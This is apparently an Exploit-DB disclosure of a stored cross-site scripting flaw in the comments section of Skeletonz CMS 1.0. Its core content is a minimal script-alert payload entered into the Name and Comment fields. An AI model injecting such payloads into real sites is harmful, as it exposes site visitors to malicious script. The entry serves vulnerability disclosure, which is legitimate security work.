Skeletonz CMS Permanent XSS Vulnerability

EDB-ID: 15625 CVE: 2010-4734 OSVDB-ID: 69514
Verified: Author: Jbyte Published: 2010-11-28
Download Exploit: Source Raw Download Vulnerable App:
# Exploit Title: Xss on skeletonz-simple dynamic cms in the section comments
# Google Dork: 
# Date: 27/11/10
# Author: Jordan Diaz aka Jbyte
# Software Link:
# Version: 1.0
# Tested on: Windows xp
# CVE : 
The follow xss is located in the section of comments of the CMS skeletonz
Xss Exploit
field Name: <script>alert('xss');</script>field Comment: <script>alert('xss');</script>